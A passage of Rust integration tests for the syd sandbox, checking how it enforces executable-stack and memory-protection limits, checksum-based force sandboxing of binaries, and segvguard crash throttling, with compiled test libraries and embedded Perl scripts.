        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Executable stack is disabled by default.
    let status = syd()
        .p("off")
        .arg("./selfmod")
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    // The restriction may be relaxed with trace/allow_unsafe_stack:1.
    // However this will now be stopped by the next restriction: MDWE.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_stack:1")
        .arg("./selfmod")
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // MDWE may be relaxed with trace/allow_unsafe_memory:1.
    // With these two knobs off, self-modifying code is free to execute.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("trace/allow_unsafe_stack:1")
        .arg("./selfmod")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_enforce_mprotect_self_modifying() -> TestResult {
    if !check_self_modifying_mp() {
        // Self-modifying code not supported on this arch.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // mprotect(PROT_EXEC) is killed by default.
    let status = syd()
        .p("off")
        .arg("./selfmod")
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // The restriction may be relaxed with trace/allow_unsafe_memory:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .arg("./selfmod")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_noexec_rtld_now() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    // Compile a library.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_NOW to succeed.
    let status = syd()
        .p("off")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_now", ["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_ok!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_noexec_rtld_lazy() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    // Compile a library.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_LAZY to succeed.
    let status = syd()
        .p("off")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_lazy", ["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_ok!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_exec_rtld_now() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    // Compile a library with executable stack.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_NOW and execstack to fail.
    let status = syd()
        .p("off")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_now", ["./load-xs.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_denied!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_exec_rtld_lazy() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    // Compile a library with executable stack.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_LAZY and execstack to fail.
    let status = syd()
        .p("off")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_lazy", ["./load-xs.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_denied!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_exec_rtld_now_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    // Compile a library with executable stack.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_NOW and execstack to succeed with unsafe_stack:1
    // For gl*bc we need trace/allow_unsafe_memory:1 or this will be killed at mprotect boundary.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("trace/allow_unsafe_stack:1")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_now", ["./load-xs.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_ok!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_exec_rtld_lazy_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    // Compile a library with executable stack.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_LAZY and execstack to succeed with unsafe_stack:1
    // For gl*bc we need trace/allow_unsafe_memory:1 or this will be killed at mprotect boundary.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("trace/allow_unsafe_stack:1")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_lazy", ["./load-xs.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_ok!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_force_sandbox() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("true");

    let bad_crc32 = "a".repeat(8);
    let bad_crc64 = "a".repeat(16);
    let bad_md5 = "a".repeat(32);
    let bad_sha1 = "a".repeat(40);
    let bad_sha256 = "a".repeat(64);
    let bad_sha384 = "a".repeat(96);
    let bad_sha512 = "a".repeat(128);

    // Note, `which" returns canonicalized path.
    let bin_true = which("true").expect("true in PATH");

    let crc32_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).unwrap()),
        HashAlgorithm::Crc32,
    )?
    .to_lower_hex_string();
    let crc64_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).unwrap()),
        HashAlgorithm::Crc64,
    )?
    .to_lower_hex_string();
    let md5_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).unwrap()),
        HashAlgorithm::Md5,
    )?
    .to_lower_hex_string();
    let sha1_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).unwrap()),
        HashAlgorithm::Sha1,
    )?
    .to_lower_hex_string();
    let sha256_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).unwrap()),
        HashAlgorithm::Sha256,
    )?
    .to_lower_hex_string();
    let sha384_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).unwrap()),
        HashAlgorithm::Sha384,
    )?
    .to_lower_hex_string();
    let sha512_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).unwrap()),
        HashAlgorithm::Sha512,
    )?
    .to_lower_hex_string();

    // Test 1: Force sandboxing defaults.
    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:allow")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:warn")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:filter")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:deny")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:panic")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_panicked!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:kill")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:exit")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    // Test 2: Force sandboxing allow with CRC{32,64}, MD5 & SHA1,3-{256,384,512}
    // We set default/force:warn so as not to care about dynamic libraries.
    for act in ["", ":filter", ":deny", ":panic", ":kill", ":exit"] {
        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{crc32_sum}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{crc64_sum}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{md5_sum}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{sha1_sum}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{sha256_sum}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{sha384_sum}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{sha512_sum}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{bad_crc32}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        match act {
            ":kill" => {
                assert_status_killed!(status);
            }
            ":panic" => {
                assert_status_panicked!(status);
            }
            _ => {
                assert_status_denied!(status);
            }
        };

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{bad_crc64}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        match act {
            ":kill" => {
                assert_status_killed!(status);
            }
            ":panic" => {
                assert_status_panicked!(status);
            }
            _ => {
                assert_status_denied!(status);
            }
        };

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{bad_md5}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        match act {
            ":kill" => {
                assert_status_killed!(status);
            }
            ":panic" => {
                assert_status_panicked!(status);
            }
            _ => {
                assert_status_denied!(status);
            }
        };

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{bad_sha1}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        match act {
            ":kill" => {
                assert_status_killed!(status);
            }
            ":panic" => {
                assert_status_panicked!(status);
            }
            _ => {
                assert_status_denied!(status);
            }
        };

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{bad_sha256}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        match act {
            ":kill" => {
                assert_status_killed!(status);
            }
            ":panic" => {
                assert_status_panicked!(status);
            }
            _ => {
                assert_status_denied!(status);
            }
        };

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{bad_sha384}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        match act {
            ":kill" => {
                assert_status_killed!(status);
            }
            ":panic" => {
                assert_status_panicked!(status);
            }
            _ => {
                assert_status_denied!(status);
            }
        };

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{bad_sha512}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        match act {
            ":kill" => {
                assert_status_killed!(status);
            }
            ":panic" => {
                assert_status_panicked!(status);
            }
            _ => {
                assert_status_denied!(status);
            }
        };
    }

    Ok(())
}

fn test_syd_segvguard_core_safe_default() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use Errno qw(EACCES);
use POSIX qw(:errno_h :signal_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $sig;
my $code;
my $status;

# segvguard/maxcrashes is set to 5 by default.
my $coredumps = 0; # safe mode, may never trigger segvguard.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        # Exit with the actual errno if exec fails.
        exec('{syd_do}') or exit($! & 255);
    }}

    waitpid($pid, 0);
    $status = $?;
    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status)) {{
        warn "process $i was terminated by signal " . WTERMSIG($status) . "\n";
        if (wcoredump($status)) {{
            $coredumps += 1;
            warn "process $i dumped core.\n";
        }} else {{
            warn "process $i did not dump core.\n";
        }}
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

warn "caused $coredumps coredumps, proceeding...\n";

# Now segvguard must block.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    if ($code == EACCES) {{
        warn "execution was prevented by segvguard\n";
    }} else {{
        die "process was terminated with unexpected code $code\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Ensure segvguard allows everything else.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('true') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    if ($code == 0) {{
        warn "execution was allowed by segvguard\n";
    }} else {{
        die "process exited with unexpected code $code\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Disable segvguard and retry!
if (-c '/dev/syd/segvguard/expiry:0') {{
    warn "segvguard disabled"
}} else {{
    die "failed to disable segvguard"
}}

# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process was not terminated but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
    warn "process was terminated by signal " . WTERMSIG($status) . "\n";
    if (wcoredump($status)) {{
        warn "process dumped core.\n";
    }} else {{
        warn "process did not dump core.\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_segvguard_core_safe_kill() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("default/segvguard:kill")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use POSIX qw(:errno_h :signal_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $sig;
my $code;
my $status;

# segvguard/maxcrashes is set to 5 by default.
my $coredumps = 0; # safe mode, may never trigger segvguard.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        # Exit with the actual errno if exec fails.
        exec('{syd_do}') or exit($! & 255);
    }}

    waitpid($pid, 0);
    $status = $?;
    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status)) {{
        warn "process $i was terminated by signal " . WTERMSIG($status) . "\n";
        if (wcoredump($status)) {{
            $coredumps += 1;
            warn "process $i dumped core.\n";
        }} else {{
            warn "process $i did not dump core.\n";
        }}
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

warn "caused $coredumps coredumps, proceeding...\n";

# Now segvguard must block.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFSIGNALED($status)) {{
    $sig = WTERMSIG($status);
    if ($sig == SIGKILL) {{
        warn "execution was prevented by segvguard\n";
    }} else {{
        die "process was terminated with unexpected signal $sig\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Ensure segvguard allows everything else.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('true') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    if ($code == 0) {{
        warn "execution was allowed by segvguard\n";
    }} else {{
        die "process exited with unexpected code $code\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Disable segvguard and retry!
if (-c '/dev/syd/segvguard/expiry:0') {{
    warn "segvguard disabled"
}} else {{
    die "failed to disable segvguard"
}}

# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process was not terminated but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
    warn "process was terminated by signal " . WTERMSIG($status) . "\n";
    if (wcoredump($status)) {{
        warn "process dumped core.\n";
    }} else {{
        warn "process did not dump core.\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_segvguard_core_unsafe_default() -> TestResult {
    skip_if_strace!();
    skip_unless_coredumps!();
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/allow_unsafe_prlimit:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use Errno qw(EACCES);
use POSIX qw(:errno_h :signal_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $sig;
my $code;
my $status;

# segvguard/maxcrashes is set to 5 by default.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        exec('{syd_do}') or exit($!); # Exit with the actual errno
    }}

    waitpid($pid, 0);
    $status = $?;
    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
        warn "process $i dumped core as expected\n";
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

# Now segvguard must block.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    if ($code == EACCES) {{
        warn "execution was prevented by segvguard\n";
    }} else {{
        die "process was terminated with unexpected code $code\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Ensure segvguard allows everything else.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('true') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    if ($code == 0) {{
        warn "execution was allowed by segvguard\n";
    }} else {{
        die "process exited with unexpected code $code\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Disable segvguard and retry!
if (-c '/dev/syd/segvguard/expiry:0') {{
    warn "segvguard disabled"
}} else {{
    die "failed to disable segvguard"
}}

# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
    warn "process dumped core as expected\n";
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_segvguard_core_unsafe_kill() -> TestResult {
    skip_if_strace!();
    skip_unless_coredumps!();
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("default/segvguard:kill")
        .m("trace/allow_unsafe_prlimit:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use POSIX qw(:errno_h :signal_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $sig;
my $code;
my $status;

# segvguard/maxcrashes is set to 5 by default.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        # Exit with the actual errno if exec fails.
        exec('{syd_do}') or exit($! & 255);
    }}

    waitpid($pid, 0);
    $status = $?;
    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
        warn "process $i dumped core as expected\n";
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

# Now segvguard must block
$pid = fork();
if ($pid == 0) {{
    exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFSIGNALED($status)) {{
    $sig = WTERMSIG($status);
    if ($sig == SIGKILL) {{
        warn "execution was prevented by segvguard\n";
    }} else {{
        die "process was terminated with unexpected signal $sig\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Ensure segvguard allows everything else.
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('true') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    if ($code == 0) {{
        warn "execution was allowed by segvguard\n";
    }} else {{
        die "process exited with unexpected code $code\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Disable segvguard and retry!
if (-c '/dev/syd/segvguard/expiry:0') {{
    warn "segvguard disabled"
}} else {{
    die "failed to disable segvguard"
}}

# Now segvguard must allow
$pid = fork();
if ($pid == 0) {{
    # Exit with the actual errno if exec fails.
    exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
    warn "process dumped core as expected\n";
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_segvguard_suspension_safe() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use POSIX qw(:errno_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $code;
my $status;

# Set segvguard suspension to 10 seconds.
if (-c '/dev/syd/segvguard/suspension:10') {{
    warn "segvguard suspension set to 10 seconds"
}} else {{
    die "failed to set segvguard suspension"
}}

my $coredumps = 0; # safe mode, may never trigger segvguard.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        exec('{syd_do}') or exit($!); # Exit with the actual errno
    }}

    waitpid($pid, 0);
    $status = $?;
    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status)) {{
        warn "process $i was terminated by signal " . WTERMSIG($status) . "\n";
        if (wcoredump($status)) {{
            $coredumps += 1;
            warn "process $i dumped core.\n";
        }} else {{
            warn "process $i did not dump core.\n";
        }}
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

warn "caused $coredumps coredumps, proceeding...\n";

# Ensure segvguard suspension expires.
warn "waiting 10 seconds for segvguard suspension to expire...";
sleep 10;

# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
    exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
    warn "process dumped core as expected\n";
}} elsif (WIFSIGNALED($status)) {{
    warn "process terminated with signal " . WTERMSIG($status) . " without coredump\n";
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_segvguard_suspension_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_coredumps!();
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/allow_unsafe_prlimit:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use POSIX qw(:errno_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $code;
my $status;

# Set segvguard suspension to 10 seconds.
if (-c '/dev/syd/segvguard/suspension:10') {{
    warn "segvguard suspension set to 10 seconds"
}} else {{
    die "failed to set segvguard suspension"
}}

# segvguard/maxcrashes is set to 5 by default.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        exec('{syd_do}') or exit($!); # Exit with the actual errno
    }}

    waitpid($pid, 0);
    $status = $?;
